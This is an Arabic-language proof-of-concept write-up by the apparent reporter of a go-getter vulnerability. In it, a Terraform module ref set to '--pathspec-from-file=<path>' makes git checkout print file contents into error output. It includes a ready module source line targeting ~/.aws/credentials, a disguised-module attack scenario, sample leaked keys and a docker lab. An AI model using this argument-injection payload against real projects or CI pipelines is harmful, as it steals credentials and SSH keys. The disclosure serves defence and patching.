
إثبات المفهوم (PoC) لـ CVE-2026-4660: قراءة ملفات تعسفية عبر git checkout في hashicorp/go-getter
إثبات المفهوم لـ CVE-2026-4660 (نشرة HashiCorp الأمنية) في hashicorp/go-getter. أنا المُبلّغ الأصلي.
ينشر المهاجم وحدة Terraform تحتوي على ref بقيمة --pathspec-from-file=/path/to/file. عندما يشغّل الضحية terraform init، يستنسخ go-getter المستودع ويستدعي git checkout --pathspec-from-file=/path/to/file. يقرأ Git الملف المستهدف سطرًا بسطر، ويفشل في كل سطر كـ pathspec، ويُفرغ محتويات الملف في مخرجات الخطأ. الـ ref الخبيث موجود داخل مصدر وحدة المهاجم، وليس في إعدادات الضحية نفسه. يفشل terraform init مع خطأ في تنزيل الوحدة؛ وتظهر قيم بيانات الاعتماد مضمّنة في أخطاء pathspec الخاصة بـ git في المخرجات. لا حاجة لتشغيل apply.
توجد الثغرة في مسارين برمجيين في مكتبة go-getter. يُستخدم clone() عندما يكون دليل الوجهة غير موجود؛ ويُستخدم عندما يكون موجودًا. كلاهما يستدعي نفس الدالة . يستدعي دالة المؤجلة عند حدوث خطأ؛ بينما لا يفعل ذلك، لذا يبقى الدليل موجودًا بعد فشل checkout.
update()checkout()clone()os.RemoveAll(dst)update()يستدعي مُثبّت وحدات Terraform (initwd/module_install.go:251) دائمًا os.RemoveAll على الوجهة قبل استدعاء go-getter، لذا يستدعي Terraform دائمًا clone(). أما Packer وNomad وأي أداة تستدعي واجهة go-getter مباشرة على دليل موجود مسبقًا فستستدعي update() بدلاً من ذلك. يوضح الـ PoC كلا المسارين.
تؤثر على جميع الأدوات التي تستخدم go-getter: أمثلة تشمل Terraform وNomad وPacker وWaypoint.
تم الإصلاح في: go-getter v1.8.6 (لا يوجد إصدار Terraform يتضمن الإصلاح حتى 2026-04-10) الخطورة: 7.5 عالية (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
ينشر المهاجم وحدة Terraform تبدو شرعية على GitHub، على سبيل المثال وحدة AWS VPC بكود حقيقي يعمل. وفي الداخل، يشير مصدر وحدة فرعية إلى مستودع ثانٍ يتحكم به المهاجم ويحتوي على الـ ref الخبيث:
# داخل وحدة المهاجم؛ الضحية لا يقرأ هذا الملف أبدًا
module "internal" {
source = "git::https://github.com/attacker/tf-internal.git?ref=--pathspec-from-file=/home/runner/.aws/credentials"
}
يضيف الضحية الوحدة الرئيسية إلى إعداداته:
module "vpc" {
source = "git::https://github.com/attacker/tf-aws-vpc.git"
}
يشغّلون terraform init، محليًا أو في CI. يستنسخ go-getter الوحدة الرئيسية، ويعثر على الوحدة الفرعية المتداخلة، ويستنسخها أيضًا، ثم يستدعي git checkout --pathspec-from-file=/home/runner/.aws/credentials. يقرأ Git الملف وتظهر المحتويات في مخرجات خطأ terraform:
│ Error: Failed to download module
│
│ error: pathspec 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' did not match any file(s) known to git
│ error: pathspec 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' did not match any file(s) known to git
ملاحظة: يُحذف [default] بواسطة مُصيغ الألوان في terraform حتى مع -no-color (يُفسَّر كرمز إعادة تعيين النمط) ويظهر كـ pathspec فارغ '' في المخرجات الفعلية. يُظهر إخراج git checkout الخام في الـ PoC المحتوى غير المشوّه.
الهجوم لا يقتصر على ملفات بيانات الاعتماد. أي ملف قابل للقراءة من قبل العملية هو هدف: /etc/passwd، ملفات رموز CI، إعدادات التطبيقات، أي شيء يمكن الوصول إليه من بيئة التشغيل. يوضح الـ PoC ~/.aws/credentials و~/.ssh/id_rsa و/etc/passwd.
في GitHub Actions أو CircleCI أو أي نظام CI يسجّل مخرجات terraform init، تكون تلك السجلات قابلة للقراءة من قبل أي شخص لديه وصول إلى المستودع، وغالبًا ما تُصدَّر إلى أنظمة تجميع السجلات (Datadog وSplunk وغيرها) دون انتهاء صلاحية. تنتهي بيانات اعتماد AWS الخاصة بالضحية أو مفاتيح SSH أو أي ملف آخر قابل للقراءة من بيئة التشغيل في سجل التاريخ. يرى الضحية بناءً فاشلاً؛ وتكون قيم بيانات الاعتماد مدفونة فيما يبدو كخطأ git.
docker compose up --build
حاويتان: gitserver تخدم مستودعات git الخام الخاصة بالمهاجم عبر HTTP، وpoc تعمل كمستخدم runner مع بيانات اعتماد وهمية في ~/.aws/credentials و~/.ssh/id_rsa وملف /etc/passwd قابل للقراءة. تشغّل المرحلة 1 terraform init وتوضح مسار clone()؛ ويؤكد فحص حارس أن أدلة الوحدة قد حُذفت بواسطة RemoveAll المؤجلة في clone() عند الفشل. تختبر المرحلة 2 مباشرة تسلسل استدعاء update() في go-getter (fetch + checkout) لإظهار أن نفس ثغرة checkout() تعمل وأن الدليل يبقى موجودًا، بما يتوافق مع غياب defer لـ RemoveAll في update(). لا حاجة لأي تفاعل.